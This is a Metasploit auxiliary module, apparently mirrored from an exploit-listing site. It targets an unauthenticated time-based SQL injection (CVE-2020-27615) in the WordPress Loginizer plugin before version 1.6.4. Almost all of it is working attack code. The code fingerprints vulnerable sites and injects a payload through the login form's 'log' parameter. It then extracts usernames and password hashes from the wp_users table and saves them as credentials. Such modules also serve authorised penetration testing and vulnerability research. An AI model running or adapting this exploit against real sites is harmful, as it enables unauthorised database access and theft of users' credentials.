Share
## https://sploitus.com/exploit?id=PACKETSTORM:181073
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Loginizer log SQLi Scanner',
'Description' => %q{
Loginizer wordpress plugin contains an unauthenticated timebased SQL injection in
versions before 1.6.4. The vulnerable parameter is in the log parameter.
Wordpress has forced updates of the plugin to all servers
},
'Author' => [
'h00die', # msf module
'red0xff', # sqli help
'mslavco' # discovery
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://wpdeeply.com/loginizer-before-1-6-4-sqli-injection/'],
['CVE', '2020-27615'],
['URL', 'https://loginizer.com/blog/loginizer-1-6-4-security-fix/'],
['URL', 'https://twitter.com/mslavco/status/1318877097184604161']
],
'Actions' => [
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultAction' => 'List Users',
'DisclosureDate' => '2020-10-21'
)
)
register_options [
OptInt.new('COUNT', [false, 'Number of users to enumerate', 1])
]
end
def run_host(ip)
unless wordpress_and_online?
vprint_error('Server not online or not detected as wordpress')
return
end
wp_ver = wordpress_version
if wp_ver.nil?
vprint_error('Unable to determine wordpress version, check settings.')
return
end
if Rex::Version.new(wp_ver) < Rex::Version.new('5.4')
vprint_error("Wordpress (core) #{wp_ver} is unexploitable. Version 5.4+ required.")
return
end
checkcode = check_plugin_version_from_readme('loginizer', '1.6.4')
if checkcode == Msf::Exploit::CheckCode::Safe
vprint_error('Loginizer version not vulnerable')
return
else
print_good('Vulnerable version of Loginizer detected')
end
cookie = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-login.php')
})
if cookie.nil?
print_error('Unable to retrieve wordpress cookie, check settings.')
return
end
cookie = cookie.get_cookies
password = Rex::Text.rand_text_alpha(10)
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
if payload.include?('<')
payload.gsub!(/<>/, '=')
payload.gsub!(/(sleep\(\d+\.?\d*\)),0/) { "0,#{Regexp.last_match(1)}" }
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
'cookie' => cookie,
'vars_post' => {
'log' => "',ip=LEFT(UUID(),8),url=#{payload}#",
'pwd' => password,
'wp-submit' => 'Login',
'redirect_to' => '',
'testcookie' => '1'
}
})
fail_with Failure::Unreachable, 'Connection failed' unless res
end
unless @sqli.test_vulnerable
print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
return
end
columns = ['user_login', 'user_pass']
results = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
results.each do |user|
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user[0],
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
private_data: user[1],
service_name: 'Wordpress',
address: ip,
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << user
end
print_good(table.to_s)
end
end